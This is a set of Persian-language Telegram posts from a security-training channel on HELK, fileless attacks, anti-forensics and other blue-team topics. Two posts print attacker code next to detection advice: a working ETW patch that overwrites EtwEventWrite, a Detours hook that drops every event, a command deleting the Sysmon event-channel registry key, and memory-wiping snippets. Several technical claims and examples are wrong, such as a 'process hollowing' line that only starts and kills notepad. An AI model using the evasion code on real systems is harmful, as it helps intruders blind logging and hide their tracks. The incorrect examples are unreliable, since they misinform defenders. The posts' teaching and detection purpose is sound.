ابزار روز

کمک مهمی در فارنزیک

#آکادمی_روزبه

https://m.youtube.com/watch?v=-aacZrfSgLg

مروری بر HELK

در HELK (Hunting ELK) که یک پلتفرم متن‌باز برای تحلیل تهدیدات و شکار تهدیدات سایبری است، هر کامپوننت نقش خاصی در جمع‌آوری، پردازش، ذخیره‌سازی و تحلیل داده‌های امنیتی ایفا می‌کند.
🔹 کامپوننت‌های اصلی HELK و وظایف آن‌ها
1️⃣ Beats (جمع‌آوری داده)

🔹 وظیفه: جمع‌آوری لاگ‌ها و داده‌های سیستمی از نقاط انتهایی (Endpoints) و ارسال به سرور HELK.
✔️ شامل Filebeat (جمع‌آوری لاگ‌ها)، Winlogbeat (جمع‌آوری لاگ‌های ویندوز)، Packetbeat (تحلیل ترافیک شبکه).

🛠 مثال:
اگر بخواهیم لاگ‌های مربوط به PowerShell را از سیستم‌های ویندوزی دریافت کنیم، Winlogbeat را روی کلاینت‌ها نصب می‌کنیم تا این داده‌ها را ارسال کند.
2️⃣ Logstash
(پردازش و فرمت‌بندی داده‌ها)

🔹 وظیفه: پردازش داده‌ها، فیلتر کردن، فرمت‌بندی و ارسال به Elasticsearch.
✔️ تبدیل داده‌های خام به فرمت قابل جستجو و تحلیل.
✔️ حذف نویزها و داده‌های نامرتبط برای بهبود کارایی تحلیل‌ها.

🛠 مثال:
Logstash لاگ‌های دریافتی از Beats را پردازش کرده و به جای نمایش مقادیر خام، آن‌ها را به صورت نام کاربری، آدرس IP، نوع رویداد امنیتی و سطح تهدید دسته‌بندی می‌کند.
3️⃣ Kafka (مدیریت جریان داده‌ها)

🔹 وظیفه: به عنوان یک Message Broker عمل کرده و از ازدحام داده‌ها جلوگیری می‌کند.
✔️ ذخیره موقت و انتقال لاگ‌ها بین کامپوننت‌های مختلف.
✔️ تضمین می‌کند که هیچ داده‌ای در حجم بالا از بین نمی‌رود.

🛠 مثال:
وقتی تعداد زیادی لاگ از هزاران سیستم وارد HELK می‌شود، Kafka لاگ‌ها را مدیریت می‌کند تا Elasticsearch و Logstash دچار ازدحام پردازش نشوند.
4️⃣ Elasticsearch
(ذخیره‌سازی و جستجوی داده‌ها)

🔹 وظیفه: ذخیره‌سازی لاگ‌ها در قالب شاخص‌های جستجوپذیر (Indices).
✔️ امکان جستجوی سریع و انجام تحلیل‌های پیچیده روی داده‌ها.
✔️ پشتیبانی از کوئری‌های پیشرفته برای تهدیدکاوی و تحلیل رخدادها.

🛠 مثال:
اگر بخواهیم همه‌ی لاگ‌های مربوط به تلاش‌های ورود ناموفق به یک سرور خاص را پیدا کنیم، Elasticsearch این اطلاعات را با یک Query ساده در کسری از ثانیه استخراج می‌کند.
5️⃣ Kibana
(نمایش داده‌ها و داشبورد تحلیلی)

🔹 وظیفه: نمایش و تحلیل داده‌ها در قالب داشبوردهای گرافیکی و بصری.
✔️ امکان ایجاد نمودارهای امنیتی، هشدارها و داشبوردهای تعاملی.
✔️ کمک به تحلیلگران امنیتی و شکارچیان تهدید برای بررسی الگوهای حمله.

🛠 مثال:
اگر بخواهیم روند افزایش حملات Brute Force را در چند هفته گذشته مشاهده کنیم، Kibana نمودارهای زمان‌بندی شده ارائه می‌دهد که نشان می‌دهد چه زمانی حملات افزایش یافته‌اند.
6️⃣ Jupyter Notebook
(تحلیل داده‌های امنیتی و یادگیری ماشین)

🔹 وظیفه: استفاده از یادگیری ماشین و تحلیل داده‌های تهدیدات امنیتی.
✔️ امکان نوشتن کدهای پایتون برای تحلیل پیشرفته لاگ‌ها.
✔️ قابلیت اتصال به Elasticsearch و پردازش لاگ‌ها با الگوریتم‌های هوش مصنوعی.

🛠 مثال:
می‌توانیم با استفاده از Jupyter Notebook یک مدل یادگیری ماشین برای تشخیص رفتارهای مشکوک کاربران در شبکه آموزش دهیم.
🔹 جمع‌بندی: ارتباط بین کامپوننت‌های HELK

🔗 Beats → لاگ‌ها را از نقاط انتهایی جمع‌آوری می‌کند.
🔗 Logstash → لاگ‌ها را پردازش کرده و به Kafka یا Elasticsearch ارسال می‌کند.
🔗 Kafka → لاگ‌های حجیم را مدیریت می‌کند تا پردازش داده بهینه باشد.
🔗 Elasticsearch → داده‌های پردازش‌شده را ذخیره و آماده جستجو می‌کند.
🔗 Kibana → نمایش داده‌ها به صورت نمودار و داشبورد تحلیلی.
🔗 Jupyter Notebook → تحلیل داده‌ها با یادگیری ماشین برای شناسایی تهدیدات.

🎯 نتیجه: HELK یک پلتفرم یکپارچه برای شکار تهدیدات امنیتی است که داده‌ها را از منابع مختلف جمع‌آوری، پردازش، ذخیره‌سازی و تحلیل می‌کند.


🔹 کامپوننت‌های پیشرفته در HELK: Spark, ES-Hadoop, GraphFrames, KSQL

علاوه بر کامپوننت‌های اصلی، HELK از ابزارهای پیشرفته‌ای مانند Apache Spark, ES-Hadoop, GraphFrames و KSQL استفاده می‌کند که برای تحلیل داده‌های حجیم، پردازش توزیع‌شده و تحلیل گرافی به کار می‌روند. در ادامه، نقش هر کدام را بررسی می‌کنیم.
1️⃣ Apache Spark
(پردازش توزیع‌شده و آنالیز داده‌های بزرگ)

🔹 وظیفه: Spark یک موتور پردازش داده توزیع‌شده است که در HELK برای تحلیل سریع لاگ‌های حجیم و شکار تهدیدات امنیتی استفاده می‌شود.
✔️ پردازش موازی داده‌ها روی چندین نود.
✔️ تجزیه و تحلیل داده‌ها با Machine Learning و Stream Processing.
✔️ استفاده از PySpark برای نوشتن تحلیل‌های امنیتی پیشرفته.

#من_آموزش_میدهم
#آکادمی_روزبه

ادامه در پست بعد

ادامه از پست HELK

🛠 مثال:
در یک حمله Brute Force، اگر میلیون‌ها لاگ از تلاش‌های ناموفق ورود به سیستم را داشته باشیم، Spark به‌صورت توزیع‌شده این لاگ‌ها را پردازش و الگوهای حمله را شناسایی می‌کند.
2️⃣ ES-Hadoop
(اتصال Elasticsearch به Apache Spark و Hadoop)

🔹 وظیفه: ES-Hadoop یک پل ارتباطی بین Elasticsearch و Hadoop/Spark است که امکان پردازش داده‌های ذخیره‌شده در Elasticsearch را با Apache Spark یا Hadoop فراهم می‌کند.
✔️ اجرای کوئری‌های پیچیده روی داده‌های حجیم ذخیره‌شده در Elasticsearch.
✔️ امکان انتقال داده‌ها بین Elasticsearch و HDFS (Hadoop Distributed File System).

🛠 مثال:
فرض کنید می‌خواهیم داده‌های لاگ‌های سیستم‌های مختلف را که در Elasticsearch ذخیره شده‌اند، به HDFS انتقال دهیم تا پردازش توزیع‌شده‌ای روی آن‌ها انجام دهیم. ES-Hadoop این ارتباط را برقرار می‌کند.
3️⃣ GraphFrames
(تحلیل گرافی روی لاگ‌ها و ارتباطات مشکوک)

🔹 وظیفه: GraphFrames یک موتور تحلیل داده‌های گرافی در Apache Spark است که برای تحلیل ارتباطات میان کاربران، دستگاه‌ها و رویدادهای امنیتی در HELK استفاده می‌شود.
✔️ امکان شناسایی ارتباطات مشکوک بین کاربران و IPهای مخرب.
✔️ استفاده در تحلیل تهدیدات شبکه‌ای (مثلاً بررسی مسیرهای حمله یک APT).
✔️ امکان اجرای الگوریتم‌های گرافی مانند PageRank و Shortest Path برای تحلیل جریان داده‌ها.

🛠 مثال:
فرض کنید مهاجمی از چندین IP مختلف وارد شبکه شده و ارتباطاتی بین کاربران برقرار کرده است. با استفاده از GraphFrames می‌توان گراف این ارتباطات را رسم و نقاط کلیدی حمله را شناسایی کرد.
4️⃣ KSQL
(پردازش و تحلیل رویدادهای امنیتی به‌صورت Real-Time)

🔹 وظیفه: KSQL یک نسخه SQL-محور از Apache Kafka Streams است که برای پردازش و تحلیل جریان داده‌های امنیتی به‌صورت لحظه‌ای در HELK استفاده می‌شود.
✔️ نوشتن Queryهای SQL روی استریم‌های Kafka.
✔️ فیلتر کردن و تجزیه و تحلیل لاگ‌ها به‌صورت Real-Time.
✔️ تشخیص الگوهای حمله و تهدیدات سایبری در همان لحظه وقوع.

🛠 مثال:
اگر بخواهیم همه‌ی لاگ‌های مربوط به تلاش‌های ورود ناموفق از یک کشور خاص را در لحظه فیلتر کنیم، می‌توانیم از KSQL استفاده کنیم تا داده‌های Kafka را با یک کوئری SQL پردازش کنیم:

SELECT * FROM login_attempts_stream
WHERE status = 'failed'
AND country = 'Russia';

🔹 ارتباط این کامپوننت‌ها در HELK

✔️ Apache Spark
پردازش توزیع‌شده روی داده‌های حجیم را انجام می‌دهد.
✔️ ES-Hadoop
داده‌های Elasticsearch را برای Spark و Hadoop آماده می‌کند.
✔️ GraphFrames
تحلیل گرافی را روی ارتباطات مشکوک انجام می‌دهد.
✔️ KSQL
تحلیل لاگ‌های Kafka را به‌صورت Real-Time انجام می‌دهد.

✅ این ابزارها، HELK را به یک پلتفرم قدرتمند برای شکار تهدیدات سایبری و تحلیل داده‌های امنیتی تبدیل می‌کنند.

#من_آموزش_میدهم
#آکادمی_روزبه

معماری HELK
پیرو دو پست قبل

#آکادمی_روزبه

هوش هیجانی
و کاربرد آن در امنیت سایبری

✍️روزبه نوروزی

در دنیای امروز، امنیت سایبری تنها به مهارت‌های فنی محدود نمی‌شود. یک تحلیلگر امنیتی نه‌تنها باید با تهدیدات، ابزارهای شناسایی و روش‌های حمله آشنا باشد، بلکه باید بتواند در شرایط بحرانی بهترین تصمیم را بگیرد، با تیم‌های مختلف همکاری کند و استرس ناشی از حوادث امنیتی را مدیریت کند. اینجاست که هوش هیجانی (Emotional Intelligence - EI) به عنوان یک مهارت حیاتی مطرح می‌شود.

🤔هوش هیجانی چیست؟

هوش هیجانی به توانایی فرد در شناخت، مدیریت و کنترل احساسات خود و دیگران اشاره دارد. دانیل گلمن، روانشناس برجسته، پنج مؤلفه اصلی هوش هیجانی را معرفی کرده است:

✳️ خودآگاهی (Self-Awareness) – توانایی شناخت احساسات خود و درک تأثیر آن‌ها بر تصمیم‌گیری و عملکرد.
✳️ خودمدیریتی (Self-Regulation) – کنترل احساسات، حفظ آرامش در شرایط بحرانی و جلوگیری از تصمیم‌های عجولانه.
✳️ انگیزه (Motivation) – داشتن انگیزه درونی برای پیشرفت و یادگیری مداوم.
✳️ همدلی (Empathy) – درک احساسات و دیدگاه‌های دیگران، که در ارتباطات تیمی حیاتی است.
✳️ مهارت‌های اجتماعی (Social Skills) – توانایی برقراری ارتباط مؤثر، مذاکره و حل تعارضات.

🔴چرا هوش هیجانی در امنیت سایبری مهم است؟
۱. مدیریت استرس در شرایط بحرانی

کارشناسان امنیتی اغلب در شرایط اضطراری مانند حملات سایبری، نشت داده‌ها و حوادث امنیتی کار می‌کنند. یک فرد با هوش هیجانی بالا می‌تواند آرامش خود را حفظ کرده، تصمیمات منطقی بگیرد و تیم را از سردرگمی نجات دهد.
۲. بهبود ارتباطات در تیم‌های امنیتی

امنیت سایبری نیاز به همکاری تیمی قوی دارد. کارشناسان امنیتی باید بتوانند یافته‌های خود را به سایر تیم‌ها مانند توسعه‌دهندگان، مدیران فناوری اطلاعات و حتی مدیران اجرایی منتقل کنند. افرادی که مهارت‌های ارتباطی قوی دارند، می‌توانند تهدیدات را بهتر توضیح دهند، دیگران را متقاعد کنند و راهکارهای امنیتی را اجرا کنند.
۳. تشخیص تهدیدات مهندسی اجتماعی

بسیاری از حملات سایبری، مانند فیشینگ، از طریق فریب و تأثیرگذاری بر احساسات افراد انجام می‌شوند. یک فرد با هوش هیجانی بالا می‌تواند احساسات خود را کنترل کند و کمتر تحت تأثیر ترفندهای روان‌شناختی هکرها قرار بگیرد.
۴. حل تعارضات و مدیریت اختلافات

در تیم‌های امنیتی، اختلاف‌نظر درباره روش‌های دفاع سایبری اجتناب‌ناپذیر است. افراد با هوش هیجانی بالا می‌توانند تعارضات را مدیریت کرده، راه‌حل‌های مشترک پیدا کنند و بدون ایجاد درگیری، نظرات خود را بیان کنند.
۵. افزایش انعطاف‌پذیری در برابر تغییرات

دنیای امنیت سایبری به سرعت در حال تغییر است. افرادی که انگیزه و انعطاف‌پذیری بالایی دارند، می‌توانند به‌راحتی با تکنولوژی‌های جدید سازگار شوند و مهارت‌های خود را ارتقا دهند.

✔️چگونه می‌توان هوش هیجانی را در امنیت سایبری تقویت کرد؟

۱. تمرین خودآگاهی: تحلیل احساسات خود در شرایط استرس‌زا و تلاش برای درک واکنش‌های هیجانی.
۲. تقویت مهارت‌های ارتباطی: تمرین مذاکره، ارائه گزارش‌های امنیتی مؤثر و تعامل با تیم‌های مختلف.
۳. مدیریت استرس: استفاده از تکنیک‌های کاهش استرس مانند تمرینات تنفسی، مدیتیشن و ورزش.
۴. توسعه همدلی: درک نیازها و دغدغه‌های کاربران و تیم‌های دیگر برای ارائه راهکارهای امنیتی کارآمدتر.
۵. یادگیری از تجربیات گذشته: بررسی نحوه مدیریت بحران‌های امنیتی و بهبود نقاط ضعف در تصمیم‌گیری.


#من_آموزش_میدهم
#آکادمی_روزبه

اکوسیستم باج افزاری

#آکادمی_روزبه

🔴پاک کردن رد پا +🟢 راهکار

✍️روزبه نوروزی

هکر به روشهای مختلفی اقدام به پاک کردن ردپا میکند. اما هکرهای خلاق مواظب ردپای خود در حافظه هم هستند پس میروند دنبال اینکه اونو پاک کنند .

تابع RtlZeroMemory در ویندوز، یک تابع از NTDLL.DLL است که مسئول پاک کردن محتویات یک بخش از حافظه می‌باشد. هکرها از این تابع برای پاک کردن ردپاهای خود در حافظه استفاده می‌کنند تا تحلیلگران امنیتی یا ابزارهای فارنزیک نتوانند شواهدی از اجرای بدافزار را پیدا کنند.
🚨 روش‌های استفاده از RtlZeroMemory برای پاک کردن ردپا

1️⃣ پاک کردن شواهد پردازش (Process Hollowing / Code Injection)
🔹 هکرها در حملات Process Hollowing یا DLL Injection، بعد از اجرای کد مخرب، از RtlZeroMemory برای پاک کردن بخش‌های حساس حافظه استفاده می‌کنند.
🔹 این روش باعث می‌شود ابزارهای Memory Dump نتوانند داده‌های مربوط به اجرای بدافزار را بازیابی کنند.

📌 مثال کد مخرب:
#include <windows.h>
#include <winternl.h>

void EraseMemory(void* address, SIZE_T size) {
  RtlZeroMemory(address, size);
}

int main() {
  char secretData[] = "Malicious Code Here!";
  printf("Before Erasing: %s\n", secretData);

  EraseMemory(secretData, sizeof(secretData));
  printf("After Erasing: %s\n", secretData); // اطلاعات پاک شده است
  return 0;
}

2️⃣ حذف لاگ‌های امنیتی در حافظه
🔹 برخی بدافزارها لاگ‌های ذخیره‌شده در حافظه (مثل ETW - Event Tracing for Windows) را شناسایی و پاک می‌کنند.
🔹 برای این کار، قبل از خاتمه اجرا، مقدار حافظه مرتبط با لاگ‌ها را با RtlZeroMemory پاک می‌کنند.
📌 مثال پاک کردن ساختار لاگ‌ها در حافظه:
#include <windows.h>
#include <evntprov.h>

void ClearETWLogs(PEVENT_TRACE_LOGFILE logFile) {
  RtlZeroMemory(logFile, sizeof(EVENT_TRACE_LOGFILE));
}
3️⃣ پنهان‌سازی کلیدهای رمزگذاری شده در حافظه
🔹 بدافزارها اطلاعاتی مثل کلیدهای رمزنگاری یا توکن‌های احراز هویت را در حافظه ذخیره می‌کنند.
🔹 برای جلوگیری از بازیابی این داده‌ها با ابزارهای Memory Forensics، بعد از استفاده، مقدارشان را با RtlZeroMemory پاک می‌کنند.
📌 مثال حذف کلید رمزگذاری از حافظه:
void SecureDelete(char* key, size_t length) {
  RtlZeroMemory(key, length);
}


🔰 روش‌های مقابله با RtlZeroMemory در تحلیل امنیتی

✅ 1. استفاده از Memory Dump قبل از پاک شدن حافظه
🔹 ابزارهایی مثل WinDbg, Volatility و Rekall می‌توانند قبل از حذف حافظه، آن را تحلیل کنند.
🔹 راهکار: اجرای Volatility برای بررسی پردازش‌های Hollowed یا Injecte
✅ 2. استفاده از SIEM برای لاگ‌برداری از API Calls
🔹 ابزارهایی مثل Splunk, ELK به کمک Sysmon می‌توانند فراخوانی توابع مشکوک را لاگ کنند.
🔹 راهکار: ایجاد یک قانون Sysmon برای شناسایی استفاده از RtlZeroMemory
✅ 3. جلوگیری از Process Injection با EDR/XDR
🔹 بسیاری از EDRها مانند CrowdStrike, SentinelOne, و Microsoft Defender قابلیت شناسایی پردازش‌های مشکوک را دارند.
✅ 4. بررسی رفتارهای مشکوک در حافظه
🔹 می‌توان از ابزارهای Memory Monitoring مثل MemProcFS یا KAPE برای بررسی تغییرات مشکوک در حافظه استفاده کرد.
🔹 راهکار: مانیتورینگ تغییرات رجیستری و حافظه برای شناسایی پاک شدن داده‌ها.


#من_آموزش_میدهم
#آکادمی_روزبه

فراخوانی های CSC.exe و Msbuild.exe را در SOC بپایید.

یکی از روشهای اجرای کد مخرب ، انتقال کد ( خام و غیر اجرایی ) به سرور یا کلاینت قربانی و کامپایل کردن اون با ابزارهای فوق که ذاتی ویندوز هستند میباشد.

با توجه به اینکه کد مخرب در فرمت باینری به سیستم قربانی منتقل نمیشود ، امکان کشف آن سخت تر است .

#من_آموزش_میدهم
#آکادمی_روزبه

سوال روز :
در مرحله ای از یک حمله Fileless، هکر بدافزار را در رجیستری ذخیره میکند. چرا با اینکه رجیستری روی دیسک است با این حال هنوز حمله فایل لس در نظر گرفته میشود ؟

منتظر پاسخ شما هستم . خودم چند روز دیگه پاسخ رو روی همین پست ریپست خواهم کرد.

تصویر فوق از گروه کتابخوانی نوروز Evasive Malware در خصوص حمله فایل لس

در نوروز قرار است یک پله رشد خوب در شاخه تحلیل بدافزار برای مهندسان کشف
داشته باشیم


#من_آموزش_میدهم
#آکادمی_روزبه

👆👆=======توضیح برای برای مبتدیان

حمله Fileless چیست؟

حمله Fileless نوعی حمله سایبری است که بدون نیاز به ذخیره هیچ فایلی روی دیسک اجرا می‌شود. برخلاف بدافزارهای سنتی که روی هارد دیسک ذخیره شده و اجرا می‌شوند، در این حمله، کد مخرب مستقیماً در حافظه (RAM) اجرا می‌شود. این روش باعث می‌شود شناسایی آن توسط آنتی‌ویروس‌ها و EDRها سخت‌تر شود.
🕵️‍♂️ چرا حمله Fileless خطرناک است؟
✅ عدم نیاز به فایل → چیزی روی دیسک ذخیره نمی‌شود، بنابراین آنتی‌ویروس‌های سنتی که فایل‌های مخرب را اسکن می‌کنند، نمی‌توانند آن را تشخیص دهند.
✅ استفاده از ابزارهای قانونی ویندوز → مهاجم از ابزارهای داخلی مانند PowerShell, WMI, Regsvr32, rundll32 برای اجرای کد استفاده می‌کند، که تشخیص را سخت می‌کند.
✅ اجرای در حافظه (RAM) → بدافزار فقط در حافظه اجرا شده و پس از ریستارت شدن سیستم، اثری از آن باقی نمی‌ماند.
✅ بای‌پس کردن کنترل‌های امنیتی → بسیاری از آنتی‌ویروس‌ها و راهکارهای امنیتی روی فایل‌ها و پردازش‌های دیسک تمرکز دارند، نه روی اجرای کد در حافظه

#من_آموزش_میدهم
#آکادمی_روزبه

لازم دونستم این لینک رو به اشتراک بگذارم

درخصوص مدلسازی تهدید با کمک از LLM

هم گیت هاب هم ویدئو

#آکادمی_روزبه

https://m.youtube.com/watch?v=aaH9nBeKC2A

https://github.com/mrwadams/stride-gpt

حملات علیه لاگ‌گیری ETW (Event Tracing for Windows) در ویندوز

✍️روزبه نوروزی

اینETW یک مکانیزم لاگ‌گیری کارآمد در ویندوز است که اطلاعات مفیدی درباره پردازش‌ها، API Calls، و رفتارهای شبکه‌ای ارائه می‌دهد. مهاجمان برای دور زدن ETW از تکنیک‌های مختلفی استفاده می‌کنند که در ادامه بررسی می‌کنیم.
🚨 1. غیرفعال‌سازی ETW در زمان اجرا

🔹 مهاجمان می‌توانند با تغییر برخی متغیرها یا استفاده از APIهای ویندوز، لاگ‌گیری را غیرفعال کنند.
🔹 روش: تغییر مقدار EtwEventWrite در حافظه تا باعث از کار افتادن لاگ‌گیری شود.
📌 نمونه کد (Patch کردن ETW در حافظه)

#include <windows.h>
#include <stdio.h>

void DisableETW() {
DWORD oldProtect;
void* etwAddr = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // تغییر اولین بایت به RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
}

int main() {
DisableETW();
printf("ETW Disabled!\n");
return 0;
}

🔍 این کد اولین دستور EtwEventWrite را به RET (0xC3) تغییر می‌دهد و باعث غیرفعال شدن لاگ‌گیری می‌شود.
🚨 2.انجام Hook کردن APIهای مربوط به ETW

🔹 مهاجمان می‌توانند EtwEventWrite را Hook کرده و کاری کنند که هیچ رویدادی ثبت نشود.
🔹 این روش اغلب در Rootkitها و بدافزارهای پیشرفته استفاده می‌شود.
📌 انجامHook کردن EtwEventWrite با Detours

#include <windows.h>
#include <detours.h>

typedef NTSTATUS (NTAPI* tEtwEventWrite)(HANDLE, LPCGUID, ULONG, ULONG, PVOID);
tEtwEventWrite pOriginalEtwEventWrite;

NTSTATUS NTAPI HookedEtwEventWrite(HANDLE RegHandle, LPCGUID EventDescriptor, ULONG UserDataCount, ULONG UserDataLength, PVOID UserData) {
return 0; // حذف همه لاگ‌ها
}

void HookETW() {
pOriginalEtwEventWrite = (tEtwEventWrite)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginalEtwEventWrite, HookedEtwEventWrite);
DetourTransactionCommit();
}

🔍 این کد مانع از ثبت هرگونه لاگ ETW می‌شود.
🚨 3. حذف رجیستری ETW Providers

🔹 مکانیزمETW از رجیستری برای ذخیره تنظیمات لاگ‌گیری استفاده می‌کند.
🔹 مهاجمان می‌توانند کلیدهای رجیستری مربوطه را حذف کنند تا ETW دیگر رویدادهای خاصی را ثبت نکند.
📌 دستور حذف Providerهای Sysmon از رجیستری

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational" -Force

🔍 با این کار، لاگ‌های Sysmon در ETW غیرفعال می‌شوند.
🚨 4. استفاده از پردازش‌های مجازی برای گمراه کردن ETW

🔹 بدافزارها می‌توانند از Process Hollowing یا Doppelgänging استفاده کنند تا فرآیندهای مخرب از دید ETW پنهان بمانند.
🔹 این روش‌ها باعث می‌شوند که پردازش واقعی چیزی به نظر برسد که نیست!

📌 روش اجرای Process Hollowing در PowerShell:

Start-Process "notepad.exe" -NoNewWindow -PassThru | %{ $_.id } | %{ Stop-Process -Id $_ -Force }

🔍 این کد می‌تواند پردازش‌های تقلبی ایجاد کند که لاگ‌های آنها در ETW بی‌اثر می‌شود.
🚨 5. استفاده از تکنیک "Tampering with ETW Events"

🔹 مهاجمان می‌توانند محتوای لاگ‌های ارسال‌شده به ETW را تغییر دهند.
🔹 این کار معمولاً با استفاده از Inline Hooking یا Kernel Mode Rootkit انجام می‌شود.

📌 روش تزریق DLL برای تغییر داده‌های لاگ‌شده:

BOOL WINAPI HookedEventWrite(EVENT_TRACE_HEADER *Header) {
strcpy((char*)Header->Buffer, "FAKE LOG DATA"); // تغییر داده‌ها
return TRUE;
}

🔍 این روش داده‌های ثبت‌شده در لاگ ETW را تغییر می‌دهد.


🔰 راهکارهای مقابله با حملات علیه ETW

✅ 1. مانیتورینگ Integrity NTDLL
🔹 ابزارهایی مثل Windows Defender ATP و Sysmon می‌توانند تغییرات در ntdll.dll را شناسایی کنند.
🔹 راهکار: اجرای دستور Sysmon برای شناسایی تغییرات غیرمجاز در EtwEventWrite:

<EventFiltering>
<Include>
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">ntdll.dll</ImageLoaded>
</ImageLoad>
</Include>
</EventFiltering>

✅ 2. تشخیص Hookهای مشکوک با ابزارهای Memory Scanning
🔹 ابزارهایی مثل GMER و Volatility می‌توانند Hookهای مشکوک روی EtwEventWrite را شناسایی کنند.
🔹 دستور Volatility برای بررسی تغییرات در EtwEventWrite

volatility -f memory.dmp --profile=Win10x64 apihooks

ادامه در پست بعد

#من_آموزش_میدهم
#آکادمی_روزبه

ادامه از پست قبل

✅ 3. استفاده از Kernel Logging برای مانیتورینگ لاگ‌های حذف‌شده
🔹 برخی EDRها مثل CrowdStrike Falcon می‌توانند تلاش‌های حذف لاگ‌ها را تشخیص دهند.
🔹 فعال کردن Auditing در Windows Defender:

Set-MpPreference -EnableFileHashComputation $true

✅ 4. نظارت بر حذف یا تغییر رجیستری‌های مربوط به ETW
🔹 راهکار: ایجاد یک قانون برای شناسایی تغییر در رجیستری‌های ETW با PowerShell:

Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 1102}

✅ 5. فعال‌سازی Event Forwarding برای ارسال لاگ‌ها به SIEM
🔹 راهکار: ارسال لاگ‌ها به Splunk یا ELK برای جلوگیری از پاک شدن در سیستم محلی.
🎯 جمع‌بندی

✔️ حملات علیه ETW شامل Patch کردن APIها، Hook کردن توابع، حذف رجیستری، و دستکاری رویدادها هستند.
✔️ مهاجمان از این تکنیک‌ها برای مخفی‌سازی پردازش‌های مخرب، حذف شواهد، و جلوگیری از کشف بدافزارها استفاده می‌کنند.
✔️ ترکیب SIEM، EDR، Memory Forensics، و Kernel Logging می‌تواند راه‌های شناسایی این حملات را تقویت کند.

📢 اگر در یک SOC فعالیت دارید، حتماً لاگ‌های ETW را به یک SIEM ارسال کرده و Integrity نهایی NTDLL را پایش کنید! 🚀

#من_آموزش_میدهم
#آکادمی_روزبه

خب ... خیلی درس دادم
یکم مقاله بخونیم

#آکادمی_روزبه

Exploiting eneio64.sys Kernel Driver on Windows 11 by Turning Physical Memory R/W into Virtual Memory R/W

Write-Up on eneio64.sys Driver Exploitation

https://xacone.github.io/eneio-driver.html

پیرو درخواست دوستان
لینک گروه کتابخوانی عید نوروز
https://t.me/+BhYnsv9Zm6ozODNk

درحال حاضر مباحث پیش نیاز درحال بررسی است

لازمه محیط کوبر رو اگر شروع نکردید کم کم دست بگیرید


#آکادمی_روزبه

https://bobvanderstaak.medium.com/72719f9e1010?source=friends_link&sk=2fddd1540d46a67aa517b210aea1313e

چند نکته از من درمورد جدول ATT&CK

🏆شما بودجه و امکانات لایتناهی ندارید لذا باید از تکنیک های این جدول، اولویت خودتان ( سازمان هدف ) رو گزینش کنید.

🎖برخی تکنیکها صد درصد قابل جلوگیری یا کشف نیستند پس در تعهدی که به کارفرما میدیم دقت می‌کنیم.

🎯این جدول لیست کاملی از تکنیکهای حمله نیست !! پس کارفرما و شما باید اینو بدونید .

✨️این جدول ( و وبلاگهای مرتبط) بایستی هر سه ماه یکبار پایش بشه

#تجربه #درس_آموخته
#آکادمی_روزبه

این شبها با عزیزی اینو بحث کردیم گفتم شما هم بدونید که تست کنید. برخی از شما در کلاسهایی که داشتیم باهم کارکردیم برخی هم اگر کار نکردین انجام بدین

https://github.com/NextronSystems/APTSimulator

تجربیات کلیدی از کار با APT Simulator

🎈عدم شناسایی برخی تکنیک‌ها توسط SIEM

وقتی برای اولین بار APT Simulator را در مجموعه ای اجرا کردم، انتظار داشتم SIEM به‌سرعت همه رفتارهای مشکوک را تشخیص بده اما در کمال تعجب، برخی حملات کاملاً از دید SIEM مخفی ماندند!
نمونه‌ای از تکنیکی که شناسایی نشد:
تکنیک T1086 – PowerShell Execution اجرا شد و در Windows Event Logs (ID 4104) نشانه‌هایی از اجرای PowerShell دیده شد، اما SIEM هیچ هشداری نداد!
✅ درس آموخته‌شده:
باید قوانین سفارشی را در SIEM نوشت تا اجرای PowerShell مشکوک را تشخیص دهد.

🎈فرار از شناسایی توسط EDR
در یک سناریو، قصد داشتم ببینم که آیا EDR قادر به شناسایی اجرای مخفیانه ابزارهای مخرب است یا خیر. APT Simulator از تکنیکی مثل T1055 – Process Injection استفاده کرد.
نتیجه:
در اون سازمان EDR برخی رفتارهای مخرب را شناسایی کرد، اما در برخی موارد که حمله روی فرآیندهای سیستمی امضا نشده اجرا شد، تشخیص داده نشد.
✅ درس آموخته‌شده:
نسبت به تغییر EDR اقدام کردیم

🎈 بررسی اثر حملات بر روی لاگ‌های ویندوز

یکی از مفیدترین تجربه‌ها برای من این بود که بعد از اجرای حملات، بررسی کنم که چه تغییراتی در لاگ‌های ویندوز ایجاد شده است.
متوجه شدم Auditing به دقت تنظیم نشده است لذا یکبار بر این موضوع وقت گذاشتم البته برای یک مجموعه دیگر بر روی سیسمون کار کردم

#آکادمی_روزبه
#تجربه

نمیدونم بگم اونهایی که این نوع مقالات رو میخونن چه جایگاهی دارند؛ ولی کارشون درسته که بنیادین عمل می‌کنند

#آکادمی_روزبه

https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-series---part-4-%E2%80%93-enforcing-aes-for-kerberos/4114965

استفاده از دستگاه دروغ سنج در دپارتمان امنیت ملی آمریکا برای یافتن سرمنشاء نشت اطلاعات

#آکادمی_روزبه

https://www-nbcnews-com.cdn.ampproject.org/c/s/www.nbcnews.com/news/amp/rcna195485